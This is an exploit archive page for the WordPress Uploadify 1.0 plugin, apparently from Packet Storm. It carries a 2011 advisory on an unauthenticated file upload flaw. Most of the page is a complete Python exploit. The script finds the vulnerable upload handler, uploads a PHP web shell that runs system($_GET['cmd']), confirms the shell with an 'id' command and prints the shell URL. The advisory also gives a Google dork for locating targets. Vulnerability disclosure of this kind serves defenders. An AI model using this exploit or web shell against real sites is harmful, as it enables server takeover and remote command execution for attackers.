what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Uploadify 1.0 Shell Upload

WordPress Uploadify 1.0 Shell Upload
Posted Feb 22, 2011
Authored by b0telh0 | Site gotgeek.com.br

WordPress Uploadify plugin version 1.0 suffers from a shell upload vulnerability.

tags | exploit, shell
SHA-256 | 8f08b19c3d93727e4ee785ef51ff1e7e2e001c090da9144ce38ac7b2b09b4c01

WordPress Uploadify 1.0 Shell Upload

Change Mirror Download
GotGeek Labs
http://www.gotgeek.com.br/

WordPress Uploadify Plugin 1.0 Remote File Upload



[+] Description

Adds a shortcode to embed the necessary elements to use
Uploadify in a page or post which will give your website
visitors the ability to upload large files. By default the
files will be uploaded to the folder set in your preferences.
The shortcode supports most of the Uploadify options, so it
can be easily customized to suit your needs.



[+] Information

Title: WordPress Uploadify Plugin 1.0 Remote File Upload
Google Dork: inurl:"/wp-content/plugins/uploadify/"
Advisory: gg-003-2011
Date: 02-18-2011
Last update: 02-21-2011
Link: http://www.gotgeek.com.br/pocs/gg-003-2011.txt
Tested on: CentOS 5.5 + WordPress 3.0.5



[+] Vulnerability

Uploadify Plugin is prone to a vulnerability that lets
attackers upload arbitrary files. Successful exploitation
of the vulnerability allows an attacker to upload a php code
for example and run it in the context of the webserver
process. This may facilitate unauthorized access or privilege
escalation.

Affected Versions:
WordPress Uploadify Plugin 1.0



[+] Proof of Concept/Exploit

#!/usr/bin/python
#

import httplib
import socket
import sys, time


plugin = "/wp-content/plugins/uploadify/includes/"
shell = """
<?php system($_GET['cmd']); ?>
"""


def banner():
print "\n[*] gotgeek labs"
print "[*] http://gotgeek.com.br\n"

if len(sys.argv) < 4:
banner()
print "[?] Usage: " + sys.argv[0] + " <target> <dir> <port>"
print "[?] Example: uploadify.py www.example.com /wordpress 80\n\n"
sys.exit(1)

target = sys.argv[1]
dir = sys.argv[2]
port = sys.argv[3]


def checkurl():
try:
print "[*] Looking for vulnerable file..."
conn = httplib.HTTPConnection(target+":"+port)
conn.request("GET", dir + plugin + "process_upload.php")
r1 = conn.getresponse()
if r1.status == 200:
print "[+] Found!\n"
else:
print "[-] NOT Found!\n\n"
sys.exit(1)
except socket.error, msg:
print "[-] Can't connect!\n\n"
sys.exit(1)


def uploadshell():
print "[*] Uploading shell..."
params = ("\r\n"
"------gg\r\n"
'Content-Disposition: form-data; name="Filedata";
filename="shell.php"\r\n'
"Content-Type: application/octet-stream\r\n"
"\r\n")
params+= shell + "\r\n"
params+= ("------gg--\r\n"
"\r\n")
headers = {'User-Agent': 'gotgeek',
'Content-Type': 'multipart/form-data; boundary=----gg'}
conn = httplib.HTTPConnection(target+":"+port)
conn.request("POST", dir + plugin +
"process_upload.php?folder=./", params, headers)
time.sleep(3)


def checkshell():
print "[*] Checking shell.php..."
conn = httplib.HTTPConnection(target+":"+port)
conn.request("GET", dir + plugin + "shell.php")
r2 = conn.getresponse()
if r2.status == 200:
print "[+] Shell Uploaded!\n"
conn.request("GET", dir + plugin + "shell.php?cmd=id")
r3 = conn.getresponse()
id = r3.read()
print "[+] id: " + id
print "[+] shell: http://" + target + dir + plugin +
"shell.php?cmd=[command]\n\n"
conn.close()
else:
print "[-] NOT Uploaded!\n\n"
sys.exit(1)



def main():
banner()
checkurl()
uploadshell()
checkshell()

if __name__ == "__main__":
main()



[+] References

http://wordpress.org/extend/plugins/uploadify/
http://wordpress.org/extend/plugins/uploadify/stats/



[+] Credits

b0telh0
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close